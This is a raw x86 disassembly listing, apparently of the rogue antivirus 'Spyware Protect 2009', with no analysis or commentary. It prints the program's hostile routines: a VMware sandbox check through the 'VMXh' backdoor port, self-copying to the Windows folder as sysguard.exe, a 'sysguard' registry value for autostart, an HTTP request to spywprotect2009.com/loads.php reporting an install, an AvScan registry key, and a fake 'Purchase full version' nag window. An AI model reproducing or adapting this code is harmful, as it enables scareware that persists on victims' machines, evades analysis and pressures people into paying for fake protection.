sub_4170DD proc near ; CODE XREF: sub_408E29+6Cp ; sub_409BC7+BBp ... var_204 = byte ptr -204h var_4 = dword ptr -4 sub esp, 204h mov eax, dword_42A034 xor eax, esp mov [esp+204h+var_4], eax lea eax, [esp+204h+var_204] push eax push offset aActcode ; "actcode" call sub_416FB1 mov ecx, [esp+204h+var_4] xor ecx, esp call sub_40AC1C add esp, 204h retn sub_4170DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417114 proc near ; CODE XREF: sub_408F0F+Fp var_19 = byte ptr -19h ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_426E90 call __SEH_prolog4 mov [ebp+var_19], 1 and [ebp+ms_exc.disabled], 0 push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_19] pop ebx pop ecx pop edx jmp short loc_41715A ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] mov [ebp+var_19], 0 loc_41715A: ; CODE XREF: sub_417114+39j mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov al, [ebp+var_19] call __SEH_epilog4 retn sub_417114 endp ; --------------------------------------------------------------------------- push 0 call sub_40BB3D pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417173 proc near ; CODE XREF: sub_4173E1+17Bp var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = byte ptr -198h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1B4h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov edi, ecx push offset aHttp ; "http://" xor esi, esi push edi mov [ebp+var_1A0], ecx mov [ebp+var_19C], esi call sub_40B787 pop ecx pop ecx test eax, eax jz short loc_4171B3 add edi, 0Eh mov [ebp+var_1A0], edi loc_4171B3: ; CODE XREF: sub_417173+35j push 2Fh push [ebp+var_1A0] call sub_40B4C4 mov ebx, eax xor eax, eax pop ecx mov [ebx], ax pop ecx lea eax, [ebp+var_198] push eax inc ebx push 2 inc ebx call dword_41D388 ; WSAStartup mov edi, dword_41D37C push esi push esi push esi push esi push offset aMicrosoftInter ; "Microsoft Internet Explorer" call edi ; dword_41D37C mov [ebp+var_1A4], eax cmp eax, esi jnz short loc_41720F push esi push esi push esi push 1 push offset aMicrosoftInt_0 ; "Microsoft Internet Explorer" call edi ; dword_41D37C mov [ebp+var_1A4], eax cmp eax, esi jz loc_41735F loc_41720F: ; CODE XREF: sub_417173+80j push esi push esi push 3 push esi push offset aAnonymous ; "anonymous" push 50h push [ebp+var_1A0] push [ebp+var_1A4] call dword_41D374 ; InternetConnectW mov [ebp+var_1AC], eax cmp eax, esi jz loc_41733B push esi push 80000100h push esi push esi push esi push ebx push esi push eax call dword_41D380 ; HttpOpenRequestW mov ebx, eax mov [ebp+var_1A8], ebx cmp ebx, esi jz loc_41732F push esi push esi push esi push esi push ebx call dword_41D378 ; HttpSendRequestW test eax, eax jz loc_417323 push esi push esi lea eax, [ebp+var_1A0] push eax push ebx mov ebx, dword_41D36C mov [ebp+var_1A0], esi xor edi, edi call ebx ; dword_41D36C test eax, eax jz loc_417323 loc_417292: ; CODE XREF: sub_417173+18Dj mov eax, [ebp+var_1A0] cmp eax, esi jbe short loc_417302 cmp [ebp+var_19C], esi jnz short loc_4172AE push 1 push eax call sub_40B5BD jmp short loc_4172BC ; --------------------------------------------------------------------------- loc_4172AE: ; CODE XREF: sub_417173+12Fj add eax, edi push eax push [ebp+var_19C] call sub_40B8A1 loc_4172BC: ; CODE XREF: sub_417173+139j pop ecx mov [ebp+var_19C], eax pop ecx lea eax, [ebp+var_1B0] push eax push [ebp+var_1A0] mov eax, [ebp+var_19C] lea eax, [eax+edi*2] push eax push [ebp+var_1A8] call dword_41D370 ; InternetReadFile add edi, [ebp+var_1B0] push esi push esi lea eax, [ebp+var_1A0] push eax push [ebp+var_1A8] call ebx ; dword_41D36C test eax, eax jnz short loc_417292 loc_417302: ; CODE XREF: sub_417173+127j cmp edi, esi jbe short loc_417323 lea eax, [edi+1] push eax push [ebp+var_19C] call sub_40B8A1 pop ecx pop ecx xor ecx, ecx mov [ebp+var_19C], eax mov [eax+edi*2], cx loc_417323: ; CODE XREF: sub_417173+F7j ; sub_417173+119j ... push [ebp+var_1A8] call dword_41D364 ; InternetCloseHandle loc_41732F: ; CODE XREF: sub_417173+E4j push [ebp+var_1AC] call dword_41D364 ; InternetCloseHandle loc_41733B: ; CODE XREF: sub_417173+C2j push [ebp+var_1A4] call dword_41D364 ; InternetCloseHandle cmp [ebp+var_19C], esi jz short loc_41735F push [ebp+var_19C] call sub_40ADC8 pop ecx mov al, 1 jmp short loc_417361 ; --------------------------------------------------------------------------- loc_41735F: ; CODE XREF: sub_417173+96j ; sub_417173+1DAj xor al, al loc_417361: ; CODE XREF: sub_417173+1EAj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_417173 endp ; --------------------------------------------------------------------------- loc_417370: ; CODE XREF: sub_408F0F+18p push 14h push offset dword_426EB0 call __SEH_prolog4 mov byte ptr [ebp-19h], 0 and dword ptr [ebp-4], 0 push ebx mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- db 0Fh dd 850B073Fh, 45940FDBh, 35EB5BE7h, 89EC458Bh, 458BDC45h dd 4408BDCh, 8BE04589h, 8883E045h, 0A4h, 0E0458BFFh, 0B8808Bh dd 0C0830000h, 0E04D8B04h, 0B88189h, 0C8830000h, 658BC3FFh dd 0FC45C7E8h, 0FFFFFFFEh, 0E8E7458Ah, 0FFFF4A21h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173E1 proc near ; CODE XREF: sub_417692+51p var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov edi, 105h push edi push 1 call sub_40B5BD pop ecx pop ecx lea esi, [edi-1] push esi push eax xor ebx, ebx push ebx mov [ebp+var_4], eax call dword_41D1FC ; GetModuleFileNameW push [ebp+var_4] call dword_41D2E8 ; CharLowerW push edi push 1 call sub_40B5BD pop ecx pop ecx mov edi, eax push esi push edi mov [ebp+var_8], edi call dword_41D0AC ; GetWindowsDirectoryW dec edi dec edi loc_41742C: ; CODE XREF: sub_4173E1+54j mov ax, [edi+2] inc edi inc edi cmp ax, bx jnz short loc_41742C mov esi, offset asc_4237A0 ; "\\" movsd mov edi, [ebp+var_8] dec edi dec edi loc_417442: ; CODE XREF: sub_4173E1+6Aj mov ax, [edi+2] inc edi inc edi cmp ax, bx jnz short loc_417442 push 6 pop ecx mov esi, offset aSysguard_exe ; "sysguard.exe" rep movsd push offset aSysguard_exe_0 ; "sysguard.exe" push [ebp+var_4] movsw call sub_40B787 pop ecx pop ecx test eax, eax jnz loc_417571 mov esi, [ebp+var_8] push 1 push esi push [ebp+var_4] call dword_41D084 ; CopyFileW test eax, eax jz loc_417571 lea eax, [ebp+var_8] push eax push 20006h push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call dword_41D010 ; RegOpenKeyExW test eax, eax jnz short loc_4174D8 mov eax, esi lea edx, [eax+2] loc_4174AA: ; CODE XREF: sub_4173E1+D1j mov cx, [eax] inc eax inc eax cmp cx, bx jnz short loc_4174AA sub eax, edx sar eax, 1 lea eax, [eax+eax+2] push eax push esi push 1 push ebx push offset aSysguard ; "sysguard" push [ebp+var_8] call dword_41D018 ; RegSetValueExW push [ebp+var_8] call dword_41D000 ; RegCloseKey loc_4174D8: ; CODE XREF: sub_4173E1+C2j push 40h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_60], 44h call sub_40BD40 add esp, 0Ch lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60] push eax push ebx push ebx push ebx push ebx push ebx push ebx push ebx push esi call dword_41D064 ; CreateProcessW push 200h push 1 call sub_40B5BD pop ecx pop ecx mov ecx, eax mov eax, offset aHttpSpywprot_0 ; "http://spywprotect2009.com/loads.php" mov esi, ecx mov [ebp+var_4], ecx sub esi, eax loc_417520: ; CODE XREF: sub_4173E1+14Bj movzx edx, word ptr [eax] mov [esi+eax], dx inc eax inc eax cmp dx, bx jnz short loc_417520 mov edi, ecx dec edi dec edi loc_417532: ; CODE XREF: sub_4173E1+15Aj mov ax, [edi+2] inc edi inc edi cmp ax, bx jnz short loc_417532 mov esi, offset a?r ; "?r=" movsd movsd mov edi, ecx dec edi dec edi loc_417548: ; CODE XREF: sub_4173E1+170j mov ax, [edi+2] inc edi inc edi cmp ax, bx jnz short loc_417548 mov esi, offset a16_0_0 ; "16.0" movsd movsd movsw call sub_417173 push [ebp+var_4] call sub_40ADC8 pop ecx push ebx call dword_41D1C0 ; ExitProcess loc_417571: ; CODE XREF: sub_4173E1+89j ; sub_4173E1+A0j push [ebp+var_4] call sub_40ADC8 pop ecx push [ebp+var_8] call sub_40ADC8 pop ecx pop edi pop esi pop ebx leave retn sub_4173E1 endp ; =============== S U B R O U T I N E ======================================= sub_417588 proc near ; CODE XREF: sub_4092A8+11p ; sub_40970B+4p push 0A8h mov eax, offset loc_41C12D call sub_40C46D xor ebx, ebx cmp byte_42F0B0, bl jnz loc_41768C push ebx call dword_41D2DC ; GetDC push 20h pop esi push esi xor edi, edi push esi inc edi push eax mov [ebp-10h], eax mov [ebp-24h], edi mov [ebp-20h], ebx mov [ebp-1Ch], ebx call dword_41D044 ; CreateCompatibleBitmap push offset dword_42CA58 push edi push edi push esi push esi mov [ebp-14h], eax call dword_41D030 ; CreateBitmap push 0Ah pop ecx mov [ebp-18h], eax xor eax, eax lea edi, [ebp-4Ch] rep stosd inc eax mov [ebp-44h], ax push ebx mov eax, esi mov [ebp-42h], ax lea eax, [ebp-50h] push eax push offset dword_42BA58 push esi push ebx push dword ptr [ebp-14h] mov dword ptr [ebp-50h], 28h push dword ptr [ebp-10h] mov [ebp-4Ch], esi mov [ebp-48h], esi mov [ebp-40h], ebx call dword_41D050 ; SetDIBits lea eax, [ebp-24h] push eax call dword_41D2EC ; CreateIconIndirect push dword ptr [ebp-14h] mov esi, dword_41D038 mov edi, eax call esi ; dword_41D038 push dword ptr [ebp-18h] call esi ; dword_41D038 lea eax, [ebp-0B0h] push eax mov byte_42F0B0, 1 call sub_408D98 push offset aPurchaseFullVe ; "Purchase full version Spyware Protect 2"... push edi push 880000h push dword ptr [ebp+8] lea eax, [ebp-0B0h] mov [ebp-4], ebx call sub_418186 push dword ptr [ebp-0ACh] call dword_41D304 ; DestroyWindow push edi mov byte_42F0B0, bl call dword_41D2F8 ; DestroyIcon or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-0B0h] call sub_404B59 loc_41768C: ; CODE XREF: sub_417588+17j call sub_40C50C retn sub_417588 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417692 proc near ; CODE XREF: UPX0:0040BCC5p var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = byte ptr -458h var_454 = byte ptr -454h var_450 = byte ptr -450h var_440 = byte ptr -440h var_43C = dword ptr -43Ch var_430 = byte ptr -430h var_42C = dword ptr -42Ch var_404 = dword ptr -404h var_3FC = dword ptr -3FCh var_3F4 = dword ptr -3F4h var_3EC = dword ptr -3ECh var_3E4 = dword ptr -3E4h var_3CC = dword ptr -3CCh var_3C8 = dword ptr -3C8h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 464h mov eax, dword_42A034 xor eax, esp mov [esp+464h+var_4], eax push ebx push esi push edi mov esi, offset dword_423C5C mov edi, offset dword_42EE94 movsd movsd movsd movsd mov edi, dword_42E3BC xor esi, esi mov dword_42F0E0, esi jmp short loc_4176DB ; --------------------------------------------------------------------------- loc_4176CD: ; CODE XREF: sub_417692+4Fj mov eax, [edi] cmp eax, esi jz short loc_4176D8 push 1 call dword ptr [eax+20h] loc_4176D8: ; CODE XREF: sub_417692+3Fj add edi, 4 loc_4176DB: ; CODE XREF: sub_417692+39j cmp edi, dword_42E3C0 jb short loc_4176CD call sub_4173E1 lea eax, [esp+470h+var_450] push eax call sub_409BC7 call sub_4170DD test al, al jnz short loc_41772F push offset aSoftwareAvscan ; "Software\\AvScan" lea edi, [esp+474h+var_460] call sub_417072 xor edi, edi loc_41770B: ; CODE XREF: sub_417692+91j push off_42DBF0[edi] lea eax, [esp+474h+var_460] call sub_416FF1 add edi, 4 cmp edi, 88h jb short loc_41770B push [esp+470h+var_460] call dword_41D000 ; RegCloseKey loc_41772F: ; CODE XREF: sub_417692+67j call sub_4170DD test al, al jnz short loc_41774A call sub_4170D1 test al, al jnz short loc_41774A lea eax, [esp+470h+var_450] call sub_409CAD loc_41774A: ; CODE XREF: sub_417692+A4j ; sub_417692+ADj push esi call sub_40BB3D mov ebx, eax pop ecx mov edi, edx add ebx, 4B0h push esi adc edi, esi call sub_40BB3D add eax, 0B4h adc edx, esi pop ecx mov dword ptr [esp+470h+var_458], eax mov dword ptr [esp+470h+var_454], edx jmp loc_417899 ; --------------------------------------------------------------------------- loc_417778: ; CODE XREF: sub_417692+20Ej call sub_4170D1 test al, al jz loc_417865 cmp byte_42F0B0, 0 jnz loc_417865 push esi call sub_40BB3D cmp edi, edx pop ecx mov [esp+470h+var_460], eax mov [esp+470h+var_45C], edx jg short loc_4177FD jl short loc_4177AB cmp ebx, eax ja short loc_4177FD loc_4177AB: ; CODE XREF: sub_417692+113j cmp [esp+470h+var_42C], esi jnz short loc_4177E0 mov eax, [esp+470h+var_3EC] mov [esp+470h+var_3C4], eax mov eax, [esp+470h+var_3E4] mov [esp+470h+var_3C0], eax lea eax, [esp+470h+var_3C4] push eax lea esi, [esp+474h+var_430] call sub_40A2BB xor esi, esi loc_4177E0: ; CODE XREF: sub_417692+11Dj push [esp+470h+var_3EC] call dword_41D070 ; SetEvent mov ebx, [esp+470h+var_460] mov edi, [esp+470h+var_45C] add ebx, 4B0h adc edi, esi loc_4177FD: ; CODE XREF: sub_417692+111j ; sub_417692+117j mov eax, [esp+470h+var_45C] cmp dword ptr [esp+470h+var_454], eax jg loc_41788E jl short loc_417817 mov eax, [esp+470h+var_460] cmp dword ptr [esp+470h+var_458], eax ja short loc_41788E loc_417817: ; CODE XREF: sub_417692+179j cmp [esp+470h+var_43C], esi jnz short loc_417846 mov eax, [esp+470h+var_3FC] mov [esp+470h+var_3CC], eax mov eax, [esp+470h+var_3F4] mov [esp+470h+var_3C8], eax lea eax, [esp+470h+var_3CC] push eax lea esi, [esp+474h+var_440] call sub_40A2BB xor esi, esi loc_417846: ; CODE XREF: sub_417692+189j push [esp+470h+var_3FC] call dword_41D070 ; SetEvent mov eax, [esp+470h+var_460] mov ecx, [esp+470h+var_45C] add eax, 0B4h adc ecx, esi mov dword ptr [esp+470h+var_454], ecx jmp short loc_41788A ; --------------------------------------------------------------------------- loc_417865: ; CODE XREF: sub_417692+EDj ; sub_417692+FAj push esi call sub_40BB3D mov ebx, eax pop ecx mov edi, edx add ebx, 4B0h push esi adc edi, esi call sub_40BB3D add eax, 0B4h adc edx, esi pop ecx mov dword ptr [esp+470h+var_454], edx loc_41788A: ; CODE XREF: sub_417692+1D1j mov dword ptr [esp+470h+var_458], eax loc_41788E: ; CODE XREF: sub_417692+173j ; sub_417692+183j push 3E8h call dword_41D080 ; Sleep loc_417899: ; CODE XREF: sub_417692+E1j call sub_4170DD test al, al jz loc_417778 push [esp+470h+var_3E4] mov esi, dword_41D070 mov [esp+474h+var_3BC], 1 call esi ; dword_41D070 push [esp+470h+var_3F4] call esi ; dword_41D070 push [esp+470h+var_404] call esi ; dword_41D070 loc_4178C9: ; CODE XREF: sub_417692+242j push 1388h call dword_41D080 ; Sleep jmp short loc_4178C9 sub_417692 endp ; =============== S U B R O U T I N E ======================================= sub_4178D6 proc near ; CODE XREF: sub_4186D9+11Dp push esi mov esi, eax mov edx, eax loc_4178DB: ; CODE XREF: sub_4178D6+Ej mov cl, [esi] mov [edx], cl inc edx inc esi inc esi test cl, cl jnz short loc_4178DB pop esi retn sub_4178D6 endp ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178EC proc near ; CODE XREF: sub_404BAF+2Fp var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], eax mov eax, [ebp+arg_4] mov [ebp+var_14], eax mov eax, [ebp+arg_8] push ebx mov [ebp+var_10], eax mov eax, [ebp+arg_0] push offset dword_41D430 add eax, 30h push eax lea ebx, [ebp+arg_4] call sub_404C9D mov eax, [ebp+arg_4] mov ecx, [eax] lea edx, [ebp+var_1C] push edx push eax call dword ptr [ecx+14h] mov eax, [ebp+arg_4] mov ecx, [eax] push eax call dword ptr [ecx+8] xor eax, eax pop ebx leave retn 0Ch sub_4178EC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h push ebx push edi mov edi, dword_41D318 xor ebx, ebx push ebx push ebx push ebx lea eax, [ebp-20h] push eax mov [ebp-4], ecx call edi ; dword_41D318 test eax, eax jz short loc_4179A8 push esi mov esi, 100h loc_417959: ; CODE XREF: UPX0:004179A5j lea eax, [ebp-20h] push eax call dword_41D2D8 ; TranslateMessage cmp dword ptr [ebp-1Ch], 10h jz short loc_4179A7 cmp dword ptr [ebp-1Ch], 0A1h jnz short loc_417978 cmp dword ptr [ebp-18h], 14h jz short loc_4179A7 loc_417978: ; CODE XREF: UPX0:00417970j cmp [ebp-1Ch], esi jnz short loc_417990 push dword ptr [ebp-14h] mov eax, [ebp-4] push dword ptr [ebp-18h] push esi push dword ptr [eax+4] call dword_41D288 ; SendMessageW loc_417990: ; CODE XREF: UPX0:0041797Bj lea eax, [ebp-20h] push eax call dword_41D26C ; DispatchMessageW push ebx push ebx push ebx lea eax, [ebp-20h] push eax call edi ; dword_41D318 test eax, eax jnz short loc_417959 loc_4179A7: ; CODE XREF: UPX0:00417967j ; UPX0:00417976j pop esi loc_4179A8: ; CODE XREF: UPX0:00417951j mov eax, [ebp-18h] pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4179AF: ; DATA XREF: sub_418A96+12Do mov eax, [esp+4] cmp dword ptr [eax+8], 1 push esi push edi mov esi, ecx jnz short loc_4179C4 mov eax, [eax] mov edi, [eax+8] jmp short loc_4179C7 ; --------------------------------------------------------------------------- loc_4179C4: ; CODE XREF: UPX0:004179BBj push 64h pop edi loc_4179C7: ; CODE XREF: UPX0:004179C2j push 0FFFFFFECh push dword ptr [esi+4] call dword_41D2CC ; GetWindowLongW or eax, 80000h push eax push 0FFFFFFECh push dword ptr [esi+4] call dword_41D2B4 ; SetWindowLongW mov eax, edi imul eax, 0FFh push 2 push 64h pop ecx cdq idiv ecx push eax push 0 push dword ptr [esi+4] call dword_41D29C ; SetLayeredWindowAttributes pop edi pop esi retn 8 ; --------------------------------------------------------------------------- loc_417A04: ; DATA XREF: sub_418A96+101o push 2 push dword ptr [ecx+4] call dword_41D298 ; ShowWindow retn 8 ; --------------------------------------------------------------------------- loc_417A12: ; DATA XREF: sub_418A96+EBo mov eax, [esp+4] cmp dword ptr [eax+8], 1 push 11h pop edx jnz short loc_417A24 mov eax, [eax] mov edx, [eax+8] loc_417A24: ; CODE XREF: UPX0:00417A1Dj push 0 push edx push 0A1h push dword ptr [ecx+4] call dword_41D330 ; PostMessageW retn 8 ; --------------------------------------------------------------------------- loc_417A38: ; DATA XREF: sub_418A96+D5o push 0 push 2 push 0A1h push dword ptr [ecx+4] call dword_41D330 ; PostMessageW retn 8 ; --------------------------------------------------------------------------- loc_417A4D: ; DATA XREF: sub_418A96+BFo mov eax, [esp+4] mov eax, [eax] push dword ptr [eax+8] push dword ptr [ecx+4] call dword_41D280 ; SetWindowTextW retn 8 ; --------------------------------------------------------------------------- mov eax, [esp+4] or edx, 0FFFFFFFFh cmp dword ptr [eax+8], 1 jnz short loc_417A74 mov eax, [eax] mov edx, [eax+8] loc_417A74: ; CODE XREF: UPX0:00417A6Dj push 0 push edx push 10h push dword ptr [ecx+4] call dword_41D330 ; PostMessageW retn 8 ; =============== S U B R O U T I N E ======================================= sub_417A85 proc near ; CODE XREF: UPX0:00402C5Bp push 20h mov eax, offset loc_41BF7E call sub_40C4D6 mov eax, [ebp+8] mov esi, ecx mov [ebp-2Ch], eax test ebx, ebx jnz short loc_417AA7 mov eax, 80004003h jmp loc_417C0F ; --------------------------------------------------------------------------- loc_417AA7: ; CODE XREF: sub_417A85+16j and dword ptr [ebx], 0 mov dword ptr [ebp-24h], 80004005h mov byte ptr [edi], 0 test esi, esi jz loc_417C0D movzx eax, word ptr [esi] test ax, ax jz loc_417C0D cmp ax, 4Dh jz short loc_417AD4 cmp ax, 6Dh jnz short loc_417B48 loc_417AD4: ; CODE XREF: sub_417A85+47j movzx eax, word ptr [esi+2] cmp ax, 53h jz short loc_417AE4 cmp ax, 73h jnz short loc_417B48 loc_417AE4: ; CODE XREF: sub_417A85+57j movzx eax, word ptr [esi+4] cmp ax, 48h jz short loc_417AF4 cmp ax, 68h jnz short loc_417B48 loc_417AF4: ; CODE XREF: sub_417A85+67j movzx eax, word ptr [esi+6] cmp ax, 54h jz short loc_417B04 cmp ax, 74h jnz short loc_417B48 loc_417B04: ; CODE XREF: sub_417A85+77j movzx eax, word ptr [esi+8] cmp ax, 4Dh jz short loc_417B14 cmp ax, 6Dh jnz short loc_417B48 loc_417B14: ; CODE XREF: sub_417A85+87j movzx eax, word ptr [esi+0Ah] cmp ax, 4Ch jz short loc_417B24 cmp ax, 6Ch jnz short loc_417B48 loc_417B24: ; CODE XREF: sub_417A85+97j cmp word ptr [esi+0Ch], 3Ah jnz short loc_417B48 push ebx push offset dword_424264 push 1 push 0 push offset dword_4242A4 loc_417B3A: ; CODE XREF: sub_417A85+DDj call dword_41D398 mov byte ptr [edi], 1 jmp loc_417C05 ; --------------------------------------------------------------------------- loc_417B48: ; CODE XREF: sub_417A85+4Dj ; sub_417A85+5Dj ... mov eax, esi call sub_401496 test eax, eax jz short loc_417B64 push ebx push offset dword_424264 push 1 push 0 push offset dword_4242B4 jmp short loc_417B3A ; --------------------------------------------------------------------------- loc_417B64: ; CODE XREF: sub_417A85+CCj push esi call dword_41D1F0 ; lstrlenW cmp eax, 0FFh jge loc_417C08 cmp word ptr [esi], 7Bh lea eax, [ebp-20h] push eax push esi jnz short loc_417B89 call dword_41D3A4 jmp short loc_417B8F ; --------------------------------------------------------------------------- loc_417B89: ; CODE XREF: sub_417A85+FAj call dword_41D3A0 loc_417B8F: ; CODE XREF: sub_417A85+102j xor esi, esi cmp eax, esi mov [ebp-24h], eax jl short loc_417C08 push dword ptr [ebp-2Ch] call dword_41D238 test eax, eax jz short loc_417BF2 mov [ebp-28h], esi lea eax, [ebp-28h] push eax push offset dword_4242C4 push esi push 1 lea eax, [ebp-20h] push eax mov [ebp-4], esi call dword_41D3B8 cmp eax, esi mov [ebp-24h], eax jl short loc_417BDF mov eax, [ebp-28h] mov ecx, [eax] push ebx push dword ptr [ebp-2Ch] push offset dword_424264 push esi push esi push eax call dword ptr [ecx+1Ch] mov [ebp-24h], eax loc_417BDF: ; CODE XREF: sub_417A85+141j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp-28h] cmp eax, esi jz short loc_417C08 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp short loc_417C08 ; --------------------------------------------------------------------------- loc_417BF2: ; CODE XREF: sub_417A85+11Ej push ebx push offset dword_424264 push 1 push esi lea eax, [ebp-20h] push eax call dword_41D398 loc_417C05: ; CODE XREF: sub_417A85+BEj mov [ebp-24h], eax loc_417C08: ; CODE XREF: sub_417A85+EBj ; sub_417A85+111j ... mov eax, [ebp-24h] jmp short loc_417C0F ; --------------------------------------------------------------------------- loc_417C0D: ; CODE XREF: sub_417A85+31j ; sub_417A85+3Dj xor eax, eax loc_417C0F: ; CODE XREF: sub_417A85+1Dj ; sub_417A85+186j call sub_40C520 retn sub_417A85 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C15 proc near ; CODE XREF: sub_404BAF+41p ; UPX0:00417C3Ap ... var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 14h push esi mov esi, eax lea eax, [ebp+var_10] push eax push dword ptr [esi+4] call dword_41D34C ; GetClientRect add esi, 30h push esi lea eax, [ebp+var_10] call sub_401867 pop esi leave retn sub_417C15 endp ; --------------------------------------------------------------------------- call sub_417C15 xor eax, eax retn ; --------------------------------------------------------------------------- loc_417C42: ; DATA XREF: sub_418A96+117o push esi xor eax, eax mov esi, ecx cmp [esi+38h], al setz al lea eax, [eax+eax+1] push eax push dword ptr [esi+4] call dword_41D298 ; ShowWindow cmp byte ptr [esi+38h], 0 setz al mov [esi+38h], al mov eax, esi call sub_417C15 pop esi retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C70 proc near ; DATA XREF: sub_418A96+8Fo var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+8], 3 mov eax, [esi] mov ebx, ecx mov ecx, [eax+18h] mov eax, [eax+8] push edi mov [ebp+var_8], ebx mov [ebp+var_4], ecx mov [ebp+arg_0], eax jnz short loc_417CA7 push 0 lea eax, [ebp+var_20] push eax push 0 push 30h call dword_41D2C4 ; SystemParametersInfoW jmp short loc_417CD9 ; --------------------------------------------------------------------------- loc_417CA7: ; CODE XREF: sub_417C70+23j push dword ptr [ebx+4] mov edi, dword_41D33C call edi ; dword_41D33C push eax call dword_41D294 ; IsWindow test eax, eax jz short loc_417CC8 push dword ptr [ebx+4] call edi ; dword_41D33C lea ecx, [ebp+var_20] push ecx jmp short loc_417CD2 ; --------------------------------------------------------------------------- loc_417CC8: ; CODE XREF: sub_417C70+4Bj lea eax, [ebp+var_20] push eax call dword_41D2AC ; GetDesktopWindow loc_417CD2: ; CODE XREF: sub_417C70+56j push eax call dword_41D314 ; GetWindowRect loc_417CD9: ; CODE XREF: sub_417C70+35j mov eax, [esi+8] cmp eax, 2 jnz short loc_417D06 mov eax, [ebp+var_18] sub eax, [ebp+var_4] add eax, [ebp+var_20] cdq sub eax, edx mov esi, eax mov eax, [ebp+var_1C] sub eax, [ebp+arg_0] sar esi, 1 add eax, [ebp+var_14] cdq sub eax, edx mov edi, eax sar edi, 1 jmp loc_417E59 ; --------------------------------------------------------------------------- loc_417D06: ; CODE XREF: sub_417C70+6Fj push 4 pop ebx cmp eax, 3 jnz loc_417DE2 mov esi, [esi] movzx edi, word ptr [esi+20h] cmp di, 8 jnz loc_417DC2 mov eax, [esi+28h] mov ecx, offset aRightbottom ; "rightbottom" loc_417D2A: ; CODE XREF: sub_417C70+D8j mov dx, [eax] cmp dx, [ecx] jnz short loc_417D4E test dx, dx jz short loc_417D4A mov dx, [eax+2] cmp dx, [ecx+2] jnz short loc_417D4E add eax, ebx add ecx, ebx test dx, dx jnz short loc_417D2A loc_417D4A: ; CODE XREF: sub_417C70+C5j xor eax, eax jmp short loc_417D53 ; --------------------------------------------------------------------------- loc_417D4E: ; CODE XREF: sub_417C70+C0j ; sub_417C70+CFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_417D53: ; CODE XREF: sub_417C70+DCj test eax, eax jnz short loc_417D65 mov esi, [ebp+var_18] mov edi, [ebp+var_14] sub esi, [ebp+var_4] sub edi, [ebp+arg_0] jmp short loc_417DC8 ; --------------------------------------------------------------------------- loc_417D65: ; CODE XREF: sub_417C70+E5j cmp di, 8 jnz short loc_417DC2 mov esi, [esi+28h] mov eax, offset aCenter ; "center" loc_417D73: ; CODE XREF: sub_417C70+121j mov cx, [esi] cmp cx, [eax] jnz short loc_417D97 test cx, cx jz short loc_417D93 mov cx, [esi+2] cmp cx, [eax+2] jnz short loc_417D97 add esi, ebx add eax, ebx test cx, cx jnz short loc_417D73 loc_417D93: ; CODE XREF: sub_417C70+10Ej xor eax, eax jmp short loc_417D9C ; --------------------------------------------------------------------------- loc_417D97: ; CODE XREF: sub_417C70+109j ; sub_417C70+118j sbb eax, eax sbb eax, 0FFFFFFFFh loc_417D9C: ; CODE XREF: sub_417C70+125j test eax, eax jnz short loc_417DC2 mov eax, [ebp+var_18] sub eax, [ebp+var_4] add eax, [ebp+var_20] cdq sub eax, edx mov esi, eax mov eax, [ebp+var_1C] sub eax, [ebp+arg_0] sar esi, 1 add eax, [ebp+var_14] cdq sub eax, edx mov edi, eax sar edi, 1 jmp short loc_417DC8 ; --------------------------------------------------------------------------- loc_417DC2: ; CODE XREF: sub_417C70+ACj ; sub_417C70+F9j ... mov esi, [ebp+arg_0] mov edi, [ebp+arg_0] loc_417DC8: 